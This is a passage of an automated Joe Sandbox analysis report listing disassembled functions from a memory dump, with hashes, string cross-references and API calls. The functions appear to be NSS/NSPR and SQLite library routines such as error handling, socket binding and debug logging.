Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: WB[l$WB[l$authorizer malfunction$not authorized
API String ID: 0-4012165944
Opcode ID: a1e21b55c86d0b7e6d39783e81e8052c03650d273ed4c2e8c2275e7b2061aa99
Instruction ID: 10e3cf5970cbfd32195aa5d39865d57584a4c9a5f149f7ff6e9bb92a8fd6cec3
Opcode Fuzzy Hash: a1e21b55c86d0b7e6d39783e81e8052c03650d273ed4c2e8c2275e7b2061aa99
Instruction Fuzzy Hash: 35628E70E04209CFDB14CF59C884AA97BF2FF89348F1581ADD9159B766DB36E816CB80

Function 6C5A4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5A5125
Prl, xrefs: 6C5A5019, 6C5A50FA, 6C5A5157, 6C5A51DE, 6C5A51F2, 6C5A520D, 6C5A5220, 6C5A52A2, 6C5A52B5
prl, xrefs: 6C5A4E1C, 6C5A4E81, 6C5A4FDE, 6C5A5047, 6C5A50BB, 6C5A51A3, 6C5A526C
0rl, xrefs: 6C5A4EDE, 6C5A4F82

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: 0rl$Prl$prl$winUnlockReadLock
API String ID: 0-3554183805
Opcode ID: 315ef629776dbdceb8074d099475ae6c88d8a515f0771ba8708083684315ea16
Instruction ID: db9492c41dfc452bd4029b80a29e103edeaed4d0853c79b2cadaa7ef109e83cf
Opcode Fuzzy Hash: 315ef629776dbdceb8074d099475ae6c88d8a515f0771ba8708083684315ea16
Instruction Fuzzy Hash: 79E13E70A08744CFDB05DF2AD88865ABBF0FF89304F519A2DE89997351E7309985CF92

Function 6C5A6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C5A7034, 6C5A7052, 6C5A7070
sz=[0-9]*, xrefs: 6C5A7049
noskipscan*, xrefs: 6C5A7067
unordered*, xrefs: 6C5A702B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f05d849215c29bc31f831ebeae9db8c2927cdc26c9ba781af10e19a1556071c7
Instruction ID: 96edc9612baf2ac648b48bff00bef40e12d72d55a92bf4ec815785eb16e644b2
Opcode Fuzzy Hash: f05d849215c29bc31f831ebeae9db8c2927cdc26c9ba781af10e19a1556071c7
Instruction Fuzzy Hash: 06718E32F002114BEB14CAAFCC8039E77E2AF85354F250639C965ABBC9EA719C4787C1

Function 6C63EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C63F0F9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 739c44c604999126f9193ca09fcc1a9b71c2d8f463535c66f4bb3086548f1fe9
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: D391CF75A0062A8BCB14CF68C8906AEB7F1FF85324F24572DD966A7BC0D734A905CB51

Function 6C662F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C687929), ref: 6C662FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C687929), ref: 6C662FE0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: c741454eee443793bf82d4ce0e0009728f1f4929167adcdab507dea50b1bb639
Instruction ID: 98b804eb2fa0ea3d4df54fd575d81d2860b443b03b8ebd85401f8c1918a93e31
Opcode Fuzzy Hash: c741454eee443793bf82d4ce0e0009728f1f4929167adcdab507dea50b1bb639
Instruction Fuzzy Hash: 4951F271A049118FD7008E5BC880BAA73B1EF85318F254139D9999BF02C731ED4ACBDB

Function 6C606410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C606401,?,?,0000001C), ref: 6C606422
WSAGetLastError.WSOCK32(?,?,?,?,6C606401,?,?,0000001C), ref: 6C606432

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 719bdd9cca81a6eb218167d8d19a557cb71e4b84c0db05be03e9cca92d758bd1
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 71E01D35250118AFCF059F74DD0C86A3795DF08368B50C520F919C76B1E635D5558740

Function 6C5D49F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a66e37b43656b3557ba233f3a99b8c9b04a4facb1d43e998af67d25b090ee4
Instruction ID: 5b2b901d7825c164f2be5bd310d32befda0f76e0f13546027e86712ef78c2078
Opcode Fuzzy Hash: 16a66e37b43656b3557ba233f3a99b8c9b04a4facb1d43e998af67d25b090ee4
Instruction Fuzzy Hash: 02525974E00309DFDB04CF59C880BAEBBB2FF89318F268259D815AB751D735A946CB94

Function 6C66ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C66EE3D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: f1faa1284f26ccaa1853f4191a4d1bb6d09b516bd2b8a60ed30dd80a63746def
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: B371D372E01B018FD718CF5AD8807AAB7F2BF98304F15462DD85697B91D730E901CB96

Function 6C62A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[al, xrefs: 6C62A92D, 6C62A943

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: [[al
API String ID: 0-1698947451
Opcode ID: 0ff7d7ee5b56c980aaa8750062885ecedc95c52a72e47d2162d1fff7335b85ed
Instruction ID: 62f64963d0f2150390e5bb7589665dc69950fd1da928394ab27dd784a757063d
Opcode Fuzzy Hash: 0ff7d7ee5b56c980aaa8750062885ecedc95c52a72e47d2162d1fff7335b85ed
Instruction Fuzzy Hash: 3451AE71A01209CFDB04CF16D944BAA7BE5FF49308F26806DE8199B792D778D845CF94

Function 6C5D8960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: af367d0dd0b2e18097acb6b303a54082bd526e7112d105668d8b03de8ce40a69
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: E8D16E71F05316CBDB08CEADC8816AAB3F2FB89314F16956AC552E7640D730AC41CBDA

Function 6C62A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bdb896f258e632e90f9315abd8a8afa8398cfd2d8217f30dfb1ebdcf388ce68
Instruction ID: c4aca519be5370ecac195575badf7372ee01c4a75c823c7ed43d3f4b65cb8052
Opcode Fuzzy Hash: 3bdb896f258e632e90f9315abd8a8afa8398cfd2d8217f30dfb1ebdcf388ce68
Instruction Fuzzy Hash: D3819E706012058FDB18CF18D584BAABBE5EF88308F15C16DE81A9B752DBB8D941CF98

Function 6C608EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40566723012928951e33c67676bb5dd3037779b18d085ef2534002059b045dc3
Instruction ID: 2fcb80f4f0c51a09bece5d04c29bce8630778d4167ab24fe35587fc2235c2714
Opcode Fuzzy Hash: 40566723012928951e33c67676bb5dd3037779b18d085ef2534002059b045dc3
Instruction Fuzzy Hash: C1110432B002198BD708DF25D98875AB3A5FF4A35CF0442BAD8059FA62C775E882C7D9

Function 6C6E0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715c88fa08ca5f79f0e9987fe76325c90c0b3c36b409e37d25f72b3db7ac8b9a
Instruction ID: 632325882ed1aef95c4f80dc8cdbf34b81b5004b3c26bf283210dc8823ab3cf8
Opcode Fuzzy Hash: 715c88fa08ca5f79f0e9987fe76325c90c0b3c36b409e37d25f72b3db7ac8b9a
Instruction Fuzzy Hash: 8811C178709345DFCB00DF28C8806AA77A1FF89768F14807AD8198B741DB31E806CBA5

Function 6C6544C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d1dc1c325c3c32d27d20b1f406ba2ad634b16df28c8b268751574ca99982d5
Instruction ID: 7e308749e33e031f6ed906c4037a69328101ccf69df4c9c83d6e01937fcb281f
Opcode Fuzzy Hash: 77d1dc1c325c3c32d27d20b1f406ba2ad634b16df28c8b268751574ca99982d5
Instruction Fuzzy Hash: 7211F776A002199F8B10CF99D8809EFBBF9EF8C664B554469ED18A7300D230ED118BE0

Function 6C654440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85becfaaa9cdfe6a44b32f2772595d01bbc9119abf74b54ec056f8e9ece9365d
Instruction ID: 7bd533cefaa1586de15d5460af635f863636cf46380bfc486a40f0a3a0309fc1
Opcode Fuzzy Hash: 85becfaaa9cdfe6a44b32f2772595d01bbc9119abf74b54ec056f8e9ece9365d
Instruction Fuzzy Hash: 8411C576A0021D9F9B00DF59C8809EFBBF9EF8C614B56416AED18E7301E630ED118BE5

Function 6C6E0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: ad6e19a2032a3c273cc7ee1c42f85f88817814ea0ac9692e119efe7091c090a2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E0E06D3A20B054A7DB148E09C460AA973A9DF8A619FE4807ACC599BA01DA73F8039795

Function 6C60CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c1c9ed2f39d160d0b32de2ad31f341ea5f4db21ba17016cd57244b29ddae36
Instruction ID: 569db5e80c679e2c62d39b1d333f0351b70333db02687872d9a45e66c945272c
Opcode Fuzzy Hash: 06c1c9ed2f39d160d0b32de2ad31f341ea5f4db21ba17016cd57244b29ddae36
Instruction Fuzzy Hash: CBC04838244608CFC704DA08E4899A43BA8BB0961070400A4EA028B721DA21F800DA90

Function 6C7209D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275
filetimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PR_Now.NSS3 ref: 6C720A22

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35

Part of subcall function 6C603810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C60382A
Part of subcall function 6C603810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C603879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
PR_GetCurrentThread.NSS3 ref: 6C720A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
EnterCriticalSection.KERNEL32(?), ref: 6C720B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
OutputDebugStringA.KERNEL32(?), ref: 6C720B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C720C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
PR_LogFlush.NSS3 ref: 6C720C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C9C
OutputDebugStringA.KERNEL32(?), ref: 6C720CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C720D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C720D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C720D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C720D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C720D90
free.MOZGLUE(00000000), ref: 6C720D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C720A5B
%ld[%p]: , xrefs: 6C720A96

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: f9818ef2fa341c621e40541f0c60ca4fe7e48f20aa9103df756d88d9210ff948
Instruction ID: bfefd185ded8c5463b0cf9e0488a7e2347a96a6172ff623c1e773c960ac7bf98
Opcode Fuzzy Hash: f9818ef2fa341c621e40541f0c60ca4fe7e48f20aa9103df756d88d9210ff948
Instruction Fuzzy Hash: E5A1D771A002A89FDF119B38CC59BEA3B78AF16318F0805B4F859D3741DB79A994CB71

Function 6C6428A0 Relevance: 50.9, APIs: 12, Strings: 17, Instructions: 155COMMON

Download Yara Rule

APIs

